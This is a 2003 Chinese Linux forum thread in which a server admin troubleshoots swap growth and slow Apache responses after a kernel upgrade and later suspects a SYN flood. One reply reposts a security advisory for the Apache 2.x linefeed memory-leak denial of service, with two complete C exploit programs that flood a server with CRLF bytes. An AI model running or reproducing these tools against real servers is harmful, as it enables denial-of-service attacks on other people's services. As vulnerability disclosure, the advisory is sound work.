LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 920|回复: 5

linux内核升级后,内存管理好象有问题了……

[复制链接]
发表于 2003-7-26 09:34:22 | 显示全部楼层 |阅读模式
小弟今天升级了LINUX服务器的内核从2.4.18-3smp到2.4.20-19.7 。

但是测试到现在发现有内存管理方面有不正常。原为在没有升级之前,LINUX内存swap基本上是不用的。(服务器配置为Xone 2.4*2 1GB DDR ECC swap 1GB)

但是,内核升级后,现在运行了3个半小时。情况就这样了:
Type Percent Capacity Free Used Size
Physical Memory 99% 10.45 MB 995.55 MB 1006.00 MB
Disk Swap 12% 884.89 MB 115.09 MB 999.98 MB

Swap用了115MB占12%多。这和原来相比,有太大的差别。原来一般只有1MB左右…… swap后来越占越多,到了20%多,而且服务器访问速度也明显变慢。我怕了,重新起了一下apache ,现在正常一点了…… 然后swap 又不停的上升……………… 最后访问很慢……………………现在不知道怎么了。开了httpd,WEB都访问不到了……

现在不管怎么做httpd 是起来了,但是机子上的全部域名都是访问到这个地址。/usr/local/www/apache/htdocs/

受不了了,重新起了一下机子 reboot ……

之后一切都正常了…… 郁闷中……

请兄弟们指教一下。

httpd.conf 中的那个 MAXCLIENT 可以随便改吗? 默认是150,我改到过2500和500……

请教一下,一天3万左右IP的访问者,有论坛,50人在线。
服务器是 xone 1.8*2 1GB DDR ECC swap 1GB ,正常情况下,swap 占用多少啊?谢谢……………

现在服务器虽然是正常运行了。但是WEB访问响应很慢。也就是输入域名回车之后,要一些时间(7秒到10秒)才可以打开页面。但是页面一打开之后,点其它的连接都非常非常的快。于是我又改了httpd.conf中的maxclient 从150到500, 访问正常了……

昨天晚上重起之后,一切都正常了。今天早上一看,swap又升到了5%了,现在还在一点点的向上升………

(我想会不会是被攻击了???)
因为昨天我把httpd.conf 中的MAXCLIENT设成150,这时虽然WEB服务起来了,但还是访问不到页面,只有把MAXCLIENT改大,改成了500,这时才访问的了网页…… 是不是被攻击了?谢谢……
发表于 2003-7-26 10:22:22 | 显示全部楼层
是不是被攻击看一下日志不就知道了
建议你先分析一下日志,看看有没有什么异常。
 楼主| 发表于 2003-7-26 12:12:50 | 显示全部楼层
小弟我看了日志,没有一常!
我把httpd.conf 中的maxclient 改成了256 ,MaxRequestsPerChild 50 。 现在swap 开始向下降了……………… 关注中,不知道一会儿会不会又升回来……………

不明白中………………

原来MaxRequestsPerChild 为 0 maxclient 为256
短短20分钟,swap 从40多MB降啊降,降到现在的20MB了,还在降………
郁闷中……………
现在swap 又降了,降到了17MB………

有时会涨一下,一会儿又降了………

我想可能是MaxRequestsPerChild50 起了作用。把用过50次的连接重新加一次。这样内存就放出来了。我原来MaxRequestsPerChild 是 0

不过奇怪的是,在升级内核从 2.4.18-3smp到2.4.20-19.7smp 之前,我MaxRequestsPerChild就是0 ,为什么都是正常的。swap 最多占用1% 4MB左右……

不太明白……

2.4.18-3smp 的内核主要是老出现BUG 535 ,所以怕了…… 升到了 2.4.20-19.7 smp
发表于 2003-7-26 14:11:17 | 显示全部楼层
Apache Web Server Linefeed内存分配拒绝服务漏洞

发布时间:2003-05-25
更新时间:2003-05-25
严重程度:高
威胁程度:远程拒绝服务
错误类型:意外情况处置错误
利用方式:服务器模式

BUGTRAQ ID:7254
CVE(CAN) ID:CAN-2003-0132

受影响系统

    Apache Software Foundation Apache 2.0 a9   
    Apache Software Foundation Apache 2.0        
    Apache Software Foundation Apache 2.0.28   
    Apache Software Foundation Apache 2.0.32   
    Apache Software Foundation Apache 2.0.35   
    Apache Software Foundation Apache 2.0.36   
    Apache Software Foundation Apache 2.0.37   
    Apache Software Foundation Apache 2.0.38   
    Apache Software Foundation Apache 2.0.39   
    Apache Software Foundation Apache 2.0.40   
       +RedHat Linux 8.0                        
       +RedHat Linux 9.0 i386                    
    Apache Software Foundation Apache 2.0.41   
    Apache Software Foundation Apache 2.0.42   
       +Gentoo Linux 1.2                        
       +Gentoo Linux 1.4 _rc1                    
    Apache Software Foundation Apache 2.0.43   
    Apache Software Foundation Apache 2.0.44   
    Apple MacOS X Server 10.2                    
    Apple MacOS X Server 10.2.1                  
    Apple MacOS X Server 10.2.2                  
    Apple MacOS X Server 10.2.3                  
    Apple MacOS X Server 10.2.4                  
    HP Apache-Based Web Server 2.0.43 .04        
    HP Apache-Based Web Server 2.0.43 .00        
       -HP HP-UX 11.0                           
       -HP HP-UX 11.11                          
       -HP HP-UX 11.20                          
       -HP HP-UX 11.22                          
    HP HP-UX Apache-Based Web Server 1.0.01.01  
       -HP HP-UX 11.0                           
       -HP HP-UX 11.11                          
       -HP HP-UX 11.20                          
       -HP HP-UX 11.22                          
    HP HP-UX Apache-Based Web Server 1.0.00.01  
       -HP HP-UX 11.0                           
       -HP HP-UX 11.11                          
       -HP HP-UX 11.20                          
       -HP HP-UX 11.22                          
    HP HP-UX Apache-Based Web Server 1.0.2 .01

详细描述
Apache Web Server实现上存在拒绝服务攻击漏洞,Apache处理超多连续的回车换行的字符的方式有问题,会导致服务器程序分配大量的内存,从而造成拒绝服务攻击。

测试代码
/* apache-massacre.c
* Test code for Apache 2.x Memory Leak
* By Matthew Murphy
*
* DISCLAIMER: This exploit tool is provided only to test networks for a
* known vulnerability.  Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner.  You are responsible for any damage your
* use of the tool causes.  In no event may the author of this tool be held
* responsible for damages relating to its use.
*
* Apache 2.x (2.0.44 and prior) has a memory leak in its request handling
* that causes it to handle newlines in an akward manner -- it allocates
* 80 bytes for each.  This quickly turns into a nightmare for server stats.
* On Windows XP, I was able to cause Apache to consume 390 MB in a matter
* of a few minutes.
*
* The idea is to fire off millions of newlines, depriving Apache of valuable
* memory, causing a huge performance degredation.  The worst part about this
* flaw is that leaked memory isn't recovered until the Apache child process
* terminates.
*
* The high consumption drops some when the session ends, but there is still
* a substantial increase in memory use that doesn't end until Apache exits.
* I got memory use up to a peak of about 69,000 KB, and it dropped down to
* about 37,000 KB.  The attacking code was the only traffic on the server --
* the idle memory use of the server is about 7,132 KB.  Although the leak is
* cut in half when the connection terminates, the leak is still a mighty
* 29,878 KB (21.3 MB).  All this occurred in a matter of 15 seconds on my
* 2.51 GHz P4.
*
* As with most Apache exposures, the impacts vary between ports of the server:
*
* Non-Unix (Win32, Netware, OS/2): These ports are most adversely affected
* by this, as Apache's child process doesn't terminate normally unless the
* parent process stops.  This means that leaks (and any performance loss) hang
* around until Apache is restarted.
*
* Unix/mpm_prefork: This MPM offers the most protection against successful
* exploitation, as its processes exit at the end of the request.
*
* Unix/other MPMs: These other MPMs utilize multiple Apache processes for
* multiple Apache requests.  Depending on the MPM in use and the traffic rates
* of the server, this may be used to the advantage of a potential attacker.
* If multiple different Apache processes are utilized, an attacker can spread
* the substantial leak between processes to dodge resource limits imposed on
* httpd's UID (usually nobody, www, or apache)
*
* Credit: iDEFENSE reported this issue to several security lists on April 8,
* 2003 following the Apache release announcement.  Apache fixed the flaw about
* a month after the initial disclosure of this vulnerability.  iDEFENSE credits
* the discovery of this vulnerability to an anonymous researcher.
*
* Happy Hunting!
*/

#ifndef _WIN32
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#else
#include <windows.h>
#pragma comment(lib, "wsock32.lib")
#endif
#include <stdlib.h>
#include <stdio.h>

int sig_fired = 0;

#ifndef _WIN32
void sig_handler(int sig) {
#else
BOOL WINAPI sig_handler(DWORD dwCtrlType) {
#endif
    sig_fired = 1;
#ifndef _WIN32
    return;
#else
    return TRUE;
#endif
}

int main(int argc, char *argv[]) {
    SOCKET s;
    struct sockaddr_in sin;
    char buffer[1025];
    struct hostent *he;
    unsigned short iPort = 80;
    int newlines = 100;
    char *p;
    char *p2;
    int i;
#ifdef _WIN32
    WSADATA wsa_prov;
#endif
    printf("Apache Massacre v1.0\r\n");
    printf("Exploit by Matthew Murphy\r\n");
    printf("Vulnerability reported by iDEFENSE Labs\r\n\r\n");
#ifdef _WIN32
    if (WSAStartup(0x0101, &wsa_prov)) {
        perror("WSAStartup");
        exit(1);
    }
#endif
    printf("lease enter the web server's host/IP: ");
    fgets(&buffer[0], 1024, stdin);
    he = gethostbyname(&buffer[0]);
    if (!he) {
        perror("gethostbyname");
        exit(1);
    }
    sin.sin_addr.s_addr = *((unsigned long *)he->h_addr);
    printf("lease enter the web server's port: ");
    fgets(&buffer[0], 1024, stdin);
    iPort = (unsigned short)atoi(&buffer[0]);
#ifndef _WIN32
#ifdef _SOLARIS
    sigset(SIGINT, &sig_handler);
#else
    signal(SIGINT, &sig_handler);
#endif
#else
    SetConsoleCtrlHandler(&sig_handler, TRUE);
#endif
    printf("How many newlines should be in each request [100]: ");
    fgets(&buffer[0], 1024, stdin);
    if (!buffer[0] == 0x0D && !buffer[0] == 0x0A) {
        newlines = atoi(&buffer[0]);
    }
    p = malloc(newlines*2);
    p2 = p;
    for (i = 0; i < newlines; i++) {
        *p2 = 0x0D;
        p2++;
        *p2 = 0x0A;
        p2++;
    }
    newlines += newlines;
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s < 0) {
        perror("socket");
        exit(1);
    }
    sin.sin_family = AF_INET;
    sin.sin_port = htons(iPort);
    if (connect(s, (const struct sockaddr *)&sin, sizeof(struct sockaddr_in))) {
        perror("connect");
        exit(1);
    }
    while (1) {
        if (!send(s, (char *)p, newlines, 0) == newlines) {
            perror("send");
            exit(1);
        }
        if (sig_fired) {
            printf("Terminating on SIGINT");
            free(p);
#ifndef _WIN32
            close(s);
#else
            closesocket(s);
            WSACleanup();
#endif
            exit(0);
        }
    }
}


/* Version 2 */
/******** th-apachedos.c ********************************************************
*                                                                               *
* Remote Apache DoS exploit                                                     *
* -------------------------                                                     *
* Written as a poc for the:                                                     *
*                                                                               *
*    iDEFENSE Security Advisory 04.08.03:                                       *
*    http://www.idefense.com/advisory/04.08.03.txt                              *
*    Denial of Service in Apache HTTP Server 2.x                                *
*    April 8, 2003                                                              *
*                                                                               *
* This program sends 8000000 \n's to exploit the Apache memory leak.            *
* Works from scratch under Linux, as opposed to apache-massacre.c .             *
*                                                                               *
*                                                                               *
* Daniel Nystr鰉 <exce@netwinder.nu>                                            *
*                                                                               *
* - www.telhack.tk -                                                            *
*                                                                               *
******************************************************** th-apachedos.c ********/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>


int main(int argc, char *argv[])
{
    int sockfd;
    int count;
    char buffer[8000000];
    struct sockaddr_in target;
    struct hostent *he;

    if (argc != 3)
    {
        fprintf(stderr, "\nTH-apachedos.c - Apache <= 2.0.44 DoS exploit.");
        fprintf(stderr, "\n----------------------------------------------");
        fprintf(stderr, "\nUsage: %s <Target> <ort>\n\n", argv[0]);
        exit(-1);
    }
   
    printf("\nTH-Apache DoS\n");
    printf("-------------\n");
    printf("-> Starting...\n");   
    printf("->\n");

//    memset(buffer, '\n', sizeof(buffer)); /* testing */

    for (count = 0; count < 8000000;)
    {
        buffer[count] =  '\r'; /* 0x0D */
        count++;
        buffer[count] =  '\n'; /* 0x0A */
        count++;
    }

    if ((he=gethostbyname(argv[1])) == NULL)
    {
        herror("gethostbyname() failed ");
        exit(-1);
    }

    memset(&target, 0, sizeof(target));
        target.sin_family = AF_INET;
        target.sin_port = htons(atoi(argv[2]));
        target.sin_addr = *((struct in_addr *)he->h_addr);

        printf("-> Connecting to %s:%d...\n", inet_ntoa(target.sin_addr), atoi(argv[2]));
    printf("->\n");

    if ((sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
           {
                   perror("socket() failed ");
                   exit(-1);
           }
           
           if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0)
           {
               perror("connect() failed ");
                   exit(-1);
           }

        printf("-> Connected to %s:%d... Sending linefeeds...\n", inet_ntoa(target.sin_addr), atoi(argv[2]));
        printf("->\n");
   
    if (send(sockfd, buffer, strlen(buffer), 0) != strlen(buffer))
    {
        perror("send() failed ");
        exit(-1);
               close(sockfd);
    }


    close(sockfd);

    printf("-> Finished smoothly, check hosts apache...\n\n");
}

/* EOF - th-apachedos.c
* http://www.telhack.tk
*/

解决方案
厂商已经在最新版本的软件中修补了此漏洞:

Apache Software Foundation Apache 2.0.35:
      Apache Software Foundation Upgrade Apache httpd 2.0.45
      http://www.apache.org/dist/httpd/

相关信息
Apache httpd Release 2.0 Changes
http://www.apache.org/dist/httpd/CHANGES_2.0
Copyright &#169; 1998-2003 XFOCUS Team. All Rights Reserved
发表于 2003-7-26 14:24:37 | 显示全部楼层
转载:

WEB应用的容量规划

APACHE主要是一个内存消耗型的服务应用,我个人总结的经验公式:
apache_max_process_with_good_perfermance < (total_hardware_memory / apache_memory_per_process ) * 2
apache_max_process = apache_max_process_with_good_perfermance * 1.5

为什么会有一个apache_max_process_with_good_perfermance和apache_max_process呢?原因是在低负载下系统可以使用更多的内存用于文件系统的缓存,从而进一步提高单个请求的响应速度。在高负载下,系统的单个请求响应速度会慢不少,而超过apache_max_process,系统会因为开始使用硬盘做虚拟内存交换空间而导致系统崩溃。此外,同样的服务:2G内存的机器的apache_max_process一般只设置到1G内存的1.7倍,因为APACHE本身会因为管理更多的进程而产生性能下降。

例子1:
一个apache + mod_php的服务器:一个apache进程一般需要4M内存
因此在一个1G内存的机器上:apache_max_process_with_good_perfermance < (1g / 4m) * 2 = 500
apache_max_process = 500 * 1.5 = 750
所以规划你的应用让服务尽量跑在500个APACHE以下,并设置APACHE的软上限在800个。

例子2:
一个apache + mod_resin的服务器: 一个apache进程一般需要2M内存
在一个2G内存的机器上: apache_max_process_with_good_perfermance < (2g / 2m ) * 2 = 2000
因此:apache_max_process = 2000 * 1.5 = 3000

以上估算都是按小文件服务估算的(一个请求一般大小在20k以下)。对于文件下载类型站点,可能还会受其他因素:比如带宽等的影响。

APACHE安装过程

服务器个数的硬上限HARD_SERVER_LIMIT的修改:
在FREEBSD和LINUX等UNIX操作系统下APACHE缺省的最大进程数是256个,需要修改apache_1.3.xx/src/include/httpd.h
#ifndef HARD_SERVER_LIMIT
#ifdef WIN32
#define HARD_SERVER_LIMIT 1024
#elif defined(NETWARE)
#define HARD_SERVER_LIMIT 2048
#else
#define HARD_SERVER_LIMIT 2560 <===将原来的HARD_SERVER_LIMIT 256 后面加个“0”
#endif
#endif

解释:
APACHE缺省的最大用户数是256个:这个配置对于服务器内存还是256M左右的时代是一个非常好的缺省设置,但随着内存成本的急剧下降,现在大型站点的服务器内存配置一般比当时要高一个数量级不止。所以256个进程的硬限制对于一台1G内存的机器来说是太浪费了,而且APACHE的软上限max_client是受限于HARD_SERVER_LIMIT的,因此如果WEB服务器内存大于256M,都应该调高APACHE的HARD_SERVER_LIMIT。根据个人的经验:2560已经可以满足大部分小于2G内存的服务器的容量规划了(APACHE的软上限的规划请看后面)。
 楼主| 发表于 2003-7-26 17:05:09 | 显示全部楼层
经查,好象是受了攻击…
tcp        0      0 61.175.152.144:80        80.8.54.218:1375        SYN_RECV   
tcp        0      0 61.175.152.144:80        61.150.61.89:5062       SYN_RECV   
tcp        0      0 61.175.152.144:80        67.31.145.25:3663       SYN_RECV   
tcp        0      0 61.175.152.144:80        218.20.204.211:3130     SYN_RECV   
tcp        0      0 61.175.152.144:80        211.167.15.79:2752      SYN_RECV   
tcp        0      0 61.175.152.144:80        202.37.101.98:39792     SYN_RECV   
tcp        0      0 61.175.152.144:80        61.94.104.163:3631      SYN_RECV   
tcp        0      0 61.175.152.144:80        207.94.119.239:1205     SYN_RECV   
tcp        0      0 61.175.152.144:80        213.67.23.23:3121       SYN_RECV  
tcp        0      0 61.175.152.144:80        218.65.204.129:3027     SYN_RECV   
tcp        0      0 61.175.152.144:80        202.109.97.76:2417      SYN_RECV   
tcp        0      0 61.175.152.144:80        61.179.12.117:6259      SYN_RECV   
tcp        0      0 61.175.152.144:80        61.183.100.214:3128     SYN_RECV   
tcp        0      0 61.175.152.144:80        63.12.173.14:4496       SYN_RECV   
tcp        0      0 61.175.152.144:80        210.186.19.73:3172      SYN_RECV   
tcp        0      0 61.175.152.144:80        218.94.94.128:1260      SYN_RECV   
tcp        0      0 61.175.152.144:80        213.67.23.23:3122       SYN_RECV   
tcp        0      0 61.175.152.144:80        158.252.219.224:1279    SYN_RECV   
tcp        0      0 61.175.152.144:80        211.91.179.154:2827     SYN_RECV   
tcp        0      0 61.175.152.144:80        203.206.112.143:1061    SYN_RECV   
tcp        0      0 61.175.152.144:80        218.17.124.134:1629     SYN_RECV   
tcp        0      0 61.175.152.144:80        61.133.186.154:1456     SYN_RECV   
tcp        0      0 61.175.152.144:80        12.30.208.20:2575       SYN_RECV   
tcp        0      0 61.175.152.144:80        211.98.148.13:2426      SYN_RECV   
tcp        0      0 61.175.152.144:80        211.167.15.79:3001      SYN_RECV   
tcp        0      0 61.175.152.144:80        202.101.10.4:23291      SYN_RECV   
tcp        0      0 61.175.152.144:80        63.12.173.14:4566       SYN_RECV   
tcp        0      0 61.175.152.144:80        63.12.173.14:4564       SYN_RECV   
tcp        0      0 61.175.152.144:80        203.93.208.105:4380     SYN_RECV   
tcp        0      0 61.175.152.144:80        63.12.173.14:4567       SYN_RECV   
tcp        0      0 61.175.152.144:80        203.93.208.105:4379     SYN_RECV   
tcp        0      0 61.175.152.144:80        63.12.173.14:4565       SYN_RECV   
tcp        0      0 61.175.152.144:80        202.101.10.4:23296      SYN_RECV
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表